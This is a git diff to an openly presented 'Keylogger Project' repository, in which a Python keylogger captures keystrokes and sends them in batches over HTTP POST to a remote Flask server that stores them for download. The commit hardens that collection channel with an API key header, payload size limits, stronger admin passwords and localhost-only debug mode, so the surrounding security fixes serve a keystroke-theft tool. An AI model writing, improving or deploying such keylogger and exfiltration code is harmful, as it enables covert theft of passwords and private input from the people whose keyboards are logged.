diff --git a/README.md b/README.md index cc641e2..58ce852 100644 --- a/README.md +++ b/README.md @@ -85,9 +85,10 @@ Welcome to the **Keylogger Project**! This project demonstrates how a keylogger Edit `config/.env`: ```bash - WEB_SERVER_USERNAME=admin - WEB_SERVER_PASSWORD=your_secure_password_here + WEB_SERVER_USERNAME=admin_user + WEB_SERVER_PASSWORD=your_very_strong_password_here FLASK_DEBUG=False + LOG_INGEST_API_KEY=replace_with_random_long_api_key ``` ### Usage diff --git a/config/.env.example b/config/.env.example index 0153696..e597d94 100644 --- a/config/.env.example +++ b/config/.env.example @@ -1,7 +1,10 @@ # Web Server Authentication -WEB_SERVER_USERNAME=admin -WEB_SERVER_PASSWORD=change_this_password +WEB_SERVER_USERNAME=admin_user +WEB_SERVER_PASSWORD=change_this_to_a_very_strong_password # Flask Configuration FLASK_DEBUG=False FLASK_SECRET_KEY=generate_random_secret_key_here + +# Shared API key for keylogger -> server log ingestion (minimum 24 chars) +LOG_INGEST_API_KEY=replace_with_random_long_api_key diff --git a/docs/INSTALLATION.md b/docs/INSTALLATION.md index ea93f5b..fad45cf 100644 --- a/docs/INSTALLATION.md +++ b/docs/INSTALLATION.md @@ -103,14 +103,15 @@ mkdir -p logs ```bash # Web Server Authentication -WEB_SERVER_USERNAME=admin -WEB_SERVER_PASSWORD=your_secure_password_here +WEB_SERVER_USERNAME=admin_user +WEB_SERVER_PASSWORD=your_very_strong_password_here # Flask Configuration FLASK_DEBUG=False +LOG_INGEST_API_KEY=replace_with_random_long_api_key ``` -**Important:** Change the default password to a secure one! +**Important:** Use a strong password (minimum 12 characters) and an API key of at least 24 characters. ### 3. Set Environment Variables (Before Running) @@ -144,7 +145,7 @@ python3 src/server.py --config config/config.json **With command-line options:** ```bash -python3 src/server.py --port 8080 --debug +python3 src/server.py --host 127.0.0.1 --port 8080 --debug ``` **All options:** @@ -152,7 +153,7 @@ python3 src/server.py --port 8080 --debug - `--log-file PATH`: Override log file path - `--host HOST`: Host to bind to (default: 0.0.0.0) - `--port PORT`: Port to bind to (default: 5000) -- `--debug`: Enable debug mode +- `--debug`: Enable debug mode (localhost bindings only) ### Exposing Server with ngrok (Optional) diff --git a/src/keylogger.py b/src/keylogger.py index f04e87a..4295e5d 100644 --- a/src/keylogger.py +++ b/src/keylogger.py @@ -32,7 +32,7 @@ GitHub: https://github.com/Stalin-143 class KeyLogger: """Keylogger class to handle keyboard input capture and logging.""" - def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True): + def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True, api_key=None): """ Initialize the KeyLogger. @@ -41,11 +41,13 @@ class KeyLogger: server_url (str): URL of the server to send logs to batch_size (int): Number of keystrokes before sending to server verify_ssl (bool): Whether to verify SSL certificates (default: True) + api_key (str): API key for authenticating log ingestion """ self.log_file_path = log_file_path self.server_url = server_url self.batch_size = batch_size self.verify_ssl = verify_ssl + self.api_key = api_key self.buffer = [] # Ensure the log directory exists @@ -72,9 +74,14 @@ class KeyLogger: try: log_data = ''.join(self.buffer) + headers = {} + if self.api_key: + headers["X-API-Key"] = self.api_key + response = requests.post( self.server_url, data={"log": log_data}, + headers=headers, timeout=10, verify=self.verify_ssl # Verify SSL certificates by default ) @@ -213,18 +220,23 @@ def main(): server_url = args.server_url or keylogger_config.get('server_url', '') batch_size = args.batch_size or keylogger_config.get('batch_size', 10) verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed + api_key = os.getenv('LOG_INGEST_API_KEY') if not server_url: print("Error: Server URL not configured.") print("Please set server_url in config/config.json or use --server-url argument.") sys.exit(1) + + if not api_key or len(api_key) < 24: + print("Error: LOG_INGEST_API_KEY environment variable is required and must be at least 24 characters.") + sys.exit(1) if args.no_verify_ssl: print("⚠️ WARNING: SSL certificate verification is DISABLED!") print(" This is NOT recommended for production use.") # Create and start the keylogger - keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl) + keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl, api_key) keylogger.start() diff --git a/src/server.py b/src/server.py index 7da76f7..a2f47da 100644 --- a/src/server.py +++ b/src/server.py @@ -33,8 +33,10 @@ app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32)) CONFIG = { 'log_file_path': 'logs/keylog.txt', 'username': 'admin', - 'password': 'admin' + 'password': 'admin', + 'api_key': None } +MAX_LOG_PAYLOAD_BYTES = 64 * 1024 def check_auth(username, password): @@ -82,6 +84,21 @@ def requires_auth(f): return decorated +def has_valid_api_key(): + """ + Validate API key for log ingestion endpoint. + + Returns: + bool: True when API key is configured and valid + """ + configured_api_key = CONFIG.get('api_key') + request_api_key = request.headers.get('X-API-Key') + + if not configured_api_key or not request_api_key: + return False + return secrets.compare_digest(request_api_key, configured_api_key) + + # HTML template to display the log contents and provide a download link HTML_TEMPLATE = ''' @@ -210,8 +227,17 @@ def receive_log(): Success or error message """ try: + if not has_valid_api_key(): + return "Unauthorized", 401 + + if request.content_length and request.content_length > MAX_LOG_PAYLOAD_BYTES: + return "Log payload too large", 413 + log_data = request.form.get('log', '') if log_data: + if len(log_data.encode('utf-8')) > MAX_LOG_PAYLOAD_BYTES: + return "Log payload too large", 413 + log_file_path = CONFIG['log_file_path'] # Ensure log directory exists @@ -220,7 +246,7 @@ def receive_log(): os.makedirs(log_dir, exist_ok=True) # Append log data to file - with open(log_file_path, 'a') as f: + with open(log_file_path, 'a', encoding='utf-8') as f: f.write(log_data) return "Log received successfully", 200 @@ -297,6 +323,7 @@ def main(): # Load credentials from environment variables CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME') CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD') + CONFIG['api_key'] = os.getenv('LOG_INGEST_API_KEY') # Validate that credentials are set if not CONFIG['username'] or not CONFIG['password']: @@ -308,16 +335,26 @@ def main(): print("\nOr source your .env file:") print(" source config/.env") sys.exit(1) - - if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 8: - print("⚠️ WARNING: Weak password detected!") - print(" Please use a strong password (at least 8 characters).") + + if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 12: + print("ERROR: Weak password detected.") + print("Please use a strong password (at least 12 characters).") + sys.exit(1) + + if not CONFIG['api_key'] or len(CONFIG['api_key']) < 24: + print("ERROR: LOG_INGEST_API_KEY is required and must be at least 24 characters.") + sys.exit(1) # Get server settings host = args.host or server_config.get('host', '0.0.0.0') port = args.port or server_config.get('port', 5000) debug = args.debug or server_config.get('debug', False) + if debug and host not in ('127.0.0.1', 'localhost', '::1'): + print("ERROR: Debug mode is only allowed on localhost interfaces.") + print("Use a local host binding or disable --debug.") + sys.exit(1) + print(f"\nStarting web server on {host}:{port}") print(f"Log file path: {CONFIG['log_file_path']}") print(f"Username: {CONFIG['username']}")